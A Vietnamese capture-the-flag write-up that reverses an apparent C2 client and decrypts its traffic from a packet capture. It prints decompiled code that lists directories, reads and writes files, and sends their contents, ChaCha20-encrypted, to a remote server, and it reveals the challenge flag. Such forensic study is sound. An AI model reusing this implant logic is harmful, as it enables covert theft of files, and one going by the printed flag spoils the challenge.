  if ( *(p_s + 8) )
  {
    while ( 2 )
    {
      *p_cipher = 0;
      v46 = 0;
      if ( decode_opcode(p_s, v40, p_cipher) )
      {
        *directory_1 = 0;
        v44 = 0;
        switch ( v40[0] )
        {
          case 0x10:
            directory = get_directory(CompatibleBitmap);
            if ( directory_1 == directory )
              goto LABEL_83;
            v4 = directory_1[0];
            if ( !directory_1[0] )
              goto LABEL_82;
            if ( (v44 - directory_1[0]) < 0x1000 )
              goto LABEL_80;
            v5 = *(directory_1[0] - 1);
            if ( (directory_1[0] - v5 - 8) <= 0x1F )
              goto LABEL_81;
            goto LABEL_103;
          case 0x11:
            directory = list_directory(CompatibleBitmap, p_cipher);
            if ( directory_1 == directory )
              goto LABEL_83;
            v4 = directory_1[0];
            if ( !directory_1[0] )
              goto LABEL_82;
            if ( (v44 - directory_1[0]) < 0x1000 )
              goto LABEL_80;
            v5 = *(directory_1[0] - 1);
            if ( (directory_1[0] - v5 - 8) <= 0x1F )
              goto LABEL_81;
            goto LABEL_103;
          case 0x12:
            v6 = p_cipher[0];
            v2 = p_cipher[1];
            if ( p_cipher[0] == p_cipher[1] )
              goto LABEL_21;
            n0x103 = 0;
            n0x103_1 = p_cipher[1] - p_cipher[0];
            if ( p_cipher[1] != p_cipher[0] )
            {
              do
              {
                if ( n0x103 >= 0x103 )
                  break;
                PathName[n0x103] = v6[n0x103];
                ++n0x103;
              }
              while ( n0x103 < n0x103_1 );
            }
            n0x103_2 = n0x103;
            if ( n0x103_2 >= 260 )
              _report_rangecheckfailure(n0x103_2 * 2, n0x103_1);
            PathName[n0x103_2] = 0;
            if ( !SetCurrentDirectoryW(PathName) )
            {
LABEL_21:
              v10 = 0;
              v42 = 0;
            }
            else
            {
              get_directory(CompatibleBitmap);
              v10 = _mm_loadu_si128(CompatibleBitmap);
            }
            if ( !directory_1[0] )
              goto LABEL_28;
            if ( (v44 - directory_1[0]) < 0x1000 )
            {
              v11 = directory_1[0];
            }
            else
            {
              v11 = *(directory_1[0] - 1);
              if ( (directory_1[0] - v11 - 8) > 0x1F )
                goto LABEL_103;
            }
            j_j_j__free_base(v11);
LABEL_28:
            *directory_1 = v10;
            v44 = v42;
            goto LABEL_89;
          case 0x13:
          case 0x14:
            v12 = p_cipher[0];
            v2 = p_cipher[1];
            if ( p_cipher[0] == p_cipher[1] )
              goto LABEL_53;
            n0x103_3 = 0;
            n0x103_4 = p_cipher[1] - p_cipher[0];
            if ( p_cipher[1] != p_cipher[0] )
            {
              do
              {
                if ( n0x103_3 >= 0x103 )
                  break;
                PathName[n0x103_3] = v12[n0x103_3];
                ++n0x103_3;
              }
              while ( n0x103_3 < n0x103_4 );
            }
            n0x103_5 = n0x103_3;
            if ( n0x103_5 >= 260 )
              _report_rangecheckfailure(n0x103_5 * 2, n0x103_4);
            PathName[n0x103_5] = 0;
            FileW = CreateFileW(PathName, GENERIC_READ, FILE_READ_DATA, 0, OPEN_EXISTING, FILE_READ_ATTRIBUTES, 0);
            FileW_1 = FileW;
            if ( FileW == -1LL )
              goto LABEL_53;
            FileSize = GetFileSize(FileW, 0);
            FileSize_1 = FileSize;
            if ( FileSize > 0xA00000 )
            {
              CloseHandle(FileW_1);
LABEL_53:
              v25 = 0;
              v24 = 0;
            }
            else
            {
              if ( FileSize )
              {
                if ( FileSize < 0x1000uLL )
                {
                  lpBuffer = operator new(FileSize);
                }
                else
                {
                  if ( FileSize + 39 <= FileSize )
                    sub_7FF6638F1250();
                  v20 = operator new(FileSize + 39LL);
                  if ( !v20 )
LABEL_103:
                    __fastfail(5u);
                  lpBuffer = ((v20 + 39) & 0xFFFFFFFFFFFFFFE0uLL);
                  *(lpBuffer - 1) = v20;
                }
                v22 = lpBuffer + FileSize_1;
                memset(lpBuffer, 0, FileSize_1);
              }
              else
              {
                v22 = 0;
                lpBuffer = 0;
              }
              v23 = ReadFile(FileW_1, lpBuffer, FileSize_1, &NumberOfBytesRead, 0);
              CloseHandle(FileW_1);
              if ( v23 && NumberOfBytesRead == FileSize_1 )
              {
                CompatibleBitmap[0] = lpBuffer;
                CompatibleBitmap[1] = v22;
                v24 = v22;
                v25 = _mm_loadu_si128(CompatibleBitmap);
              }
              else
              {
                v25 = 0;
                v24 = 0;
                if ( lpBuffer )
                {
                  if ( (v22 - lpBuffer) < 0x1000 )
                  {
                    j_j_j__free_base(lpBuffer);
                  }
                  else
                  {
                    v26 = *(lpBuffer - 1);
                    if ( (lpBuffer - v26 - 8) > 0x1F )
                      goto LABEL_103;
                    j_j_j__free_base(v26);
                  }
                }
              }
            }
            if ( !directory_1[0] )
              goto LABEL_59;
            if ( (v44 - directory_1[0]) < 0x1000 )
            {
              j_j_j__free_base(directory_1[0]);
LABEL_59:
              *directory_1 = v25;
              v44 = v24;
            }
            else
            {
              v27 = *(directory_1[0] - 1);
              if ( (directory_1[0] - v27 - 8) > 0x1F )
                goto LABEL_103;
              j_j_j__free_base(v27);
              *directory_1 = v25;
              v44 = v24;
            }
LABEL_89:
            send_payload(p_s, v2, directory_1[0], directory_1[1] - directory_1[0]);
            if ( directory_1[0] )
            {
              if ( (v44 - directory_1[0]) < 0x1000 )
              {
                v37 = directory_1[0];
              }
              else
              {
                v37 = *(directory_1[0] - 1);
                if ( (directory_1[0] - v37 - 8) > 0x1F )
                  __fastfail(5u);
              }
              j_j_j__free_base(v37);
              *directory_1 = 0;
              v44 = 0;
            }
LABEL_95:
            if ( !p_cipher[0] )
              goto LABEL_101;
            if ( v46 - p_cipher[0] < 0x1000 )
            {
              v38 = p_cipher[0];
            }
            else
            {
              v38 = *(p_cipher[0] - 1);
              if ( (p_cipher[0] - v38 - 8) > 0x1F )
                goto LABEL_108;
            }
            j_j_j__free_base(v38);
LABEL_101:
            if ( !*(p_s + 8) )
              return;
            continue;
          case 0x15:
            v28 = p_cipher[0];
            if ( p_cipher[0] == p_cipher[1] )
              goto LABEL_64;
            i_1 = 0;
            v30 = p_cipher[1] - p_cipher[0];
            if ( p_cipher[1] == p_cipher[0] )
              goto LABEL_64;
            while ( p_cipher[0][i_1] != 10 )
            {
              if ( ++i_1 >= v30 )
                goto LABEL_64;
            }
            if ( !i_1 || i_1 >= v30 - 1 )
              goto LABEL_64;
            for ( i = 0; i < i_1; ++i )
            {
              if ( i >= 0x103 )
                break;
              PathName[i] = v28[i];
            }
            if ( 2 * i_1 >= 0x208 )
              _report_rangecheckfailure(2 * i_1, v28);
            PathName[i_1] = 0;
            hFile = CreateFileW(PathName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_READ_ATTRIBUTES, 0);
            hObject = hFile;
            if ( hFile == -1LL
              || (nNumberOfBytesToWrite = LODWORD(p_cipher[1]) - i_1 - LODWORD(p_cipher[0]) - 1,
                  v35 = WriteFile(hFile, &p_cipher[0][i_1 + 1], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0),
                  CloseHandle(hObject),
                  !v35)
              || NumberOfBytesWritten != nNumberOfBytesToWrite )
            {
LABEL_64:
              sub_7FF6638F48F0(directory_1, "FAIL", 4u);
              goto LABEL_89;
            }
            sub_7FF6638F48F0(directory_1, "OK", 2u);
            goto LABEL_89;
          case 0x17:
            directory = sub_7FF6638F1640(CompatibleBitmap);
            if ( directory_1 == directory )
              goto LABEL_83;
            v4 = directory_1[0];
            if ( !directory_1[0] )
              goto LABEL_82;
            if ( (v44 - directory_1[0]) < 0x1000 )
            {
LABEL_80:
              v5 = v4;
            }
            else
            {
              v5 = *(directory_1[0] - 1);
              if ( (directory_1[0] - v5 - 8) > 0x1F )
                goto LABEL_103;
            }
LABEL_81:
            j_j_j__free_base(v5);
            *directory_1 = 0;
            v44 = 0;
LABEL_82:
            directory_1[0] = *directory;
            directory_1[1] = directory[1];
            v44 = directory[2];
            *directory = 0;
            directory[1] = 0;
            directory[2] = 0;
LABEL_83:
            if ( !CompatibleBitmap[0] )
              goto LABEL_89;
            if ( (v42 - CompatibleBitmap[0]) < 0x1000 )
            {
              v36 = CompatibleBitmap[0];
            }
            else
            {
              v36 = *(CompatibleBitmap[0] - 1);
              if ( (CompatibleBitmap[0] - v36 - 8) > 0x1F )
                goto LABEL_103;
            }
            j_j_j__free_base(v36);
            goto LABEL_89;
          case 0xFF:
            goto LABEL_105;
          default:
            goto LABEL_95;
        }
      }
      break;
    }
LABEL_105:
    if ( p_cipher[0] )
    {
      if ( v46 - p_cipher[0] < 0x1000 )
      {
        v39 = p_cipher[0];
      }
      else
      {
        v39 = *(p_cipher[0] - 1);
        if ( (p_cipher[0] - v39 - 8) > 0x1F )
LABEL_108:
          __fastfail(5u);
      }
      j_j_j__free_base(v39);
    }
  }
}

Tổng quan hàm này nhận data từ server và decode thành lệnh để thực thi:

0x11 ứng với list directory:

image

image

image Sau đó mã hóa ChaCha20 các file có trong folder và gửi lên server:

image

ChaCha20 trong hàm decode_opcode dùng key là kết quả sau 2 lần hash sha256 ở trên, nonce = 0, counter lần lượt tăng từ 0 sau mỗi lần chacha.

image

Có 2 gói tin được gửi đi với gói tin là kích thước của payload sau đó là gói chứa nội dung của payload (tên các file trong folder):

image

image

image

image

image

Phân tích trường hợp tiếp theo, debug và xét gói tin thứ 13:

image

Server sẽ gửi gói tin gồm 21 bytes (counter + nonce) + 10 bytes (data enc chacha20) và client nhận được sẽ decrypt và tìm tên file tương ứng trong folder (opcode = 0x13) ở đây là secret.jpg:

image

image

Thực hiện đọc nội dung file và mã hóa ChaCha20 rồi gửi lên server (kích thước + payload):

image

image

Tóm lại, chương trình này thực hiện cơ bản luồng như sau:

  • Lấy VolumeSerialNumberC:\ làm seed để gen random *LCG** 32 bytes và gửi lên server.
  • Server gửi lại 32 bytes khác.
  • Client thực hiện hash sha256 64 bytes (32 bytes nhận từ server + 32 bytes random đã gen), sau đó tiếp tục hash sha256 36 bytes (32 bytes kết quả đã hash lần đầu + 4 bytes VolumeSerialNumber) ==> key cho ChaCha20
  • Server gửi gói tin với opcode đầu tiên là 0x11 ứng với list directory nhằm liệt kê các file trong folder hiện tại và mã hóa tên các file rồi gửi lên server.
  • Server tiếp tục gửi gói tin với opcode đầu tiên là 0x13 ứng với tìm tên file cần thiết chính là 21 bytes (counter + nonce) + 10 bytes (data enc chacha20) nhằm giải mã ChaCha20
  • 1 lưu ý ở đây counter để mã hóa ChaCha20 sẽ tăng lần lượt thêm 1 sau mỗi lần mã hóa, còn counter + nonce để giải mã tên file thì sẽ phải dùng của server gửi xuống.

2 file server cần tìm: image

Nắm được luồng rồi thì dump packet còn lại khôi phục lại 2 file đó:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Cipher import ChaCha20
from scapy.all import rdpcap, Raw, TCP

key = bytes.fromhex('90AF18D6780678435F4A37308DBE43C08F18C06BFF70EE99AAF2280920522628')
nonce = b'\x00'*12

def decrypt_chacha20(ct, c):
    cipher = ChaCha20.new(key=key, nonce=nonce)
    cipher.seek(c * 64)
    return cipher.decrypt(ct)

packets = rdpcap('output.pcapng')
files = b''
img = b''
doc = b''
for pkt in packets:
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        payload = pkt[Raw].load 
        if len(payload) == 48:
            files = payload
        elif len(payload) == 1460 or len(payload) == 2694:
            img += payload
        elif len(payload) >= 4380:
            doc += payload
print(decrypt_chacha20(files, 0).decode())
print(decrypt_chacha20(img, 1)[:16])
print(decrypt_chacha20(doc, 2)[:16])
open('secret.jpg', 'wb').write(decrypt_chacha20(img, 1))
open('meme.docx', 'wb').write(decrypt_chacha20(doc, 2))
# VCS{Y0u_R0x_4t_Cry9t0_H4ck1ng_L1k3_4_B0ss}

Flag nằm trong file meme.docx: image

This post is licensed under CC BY 4.0 by the author.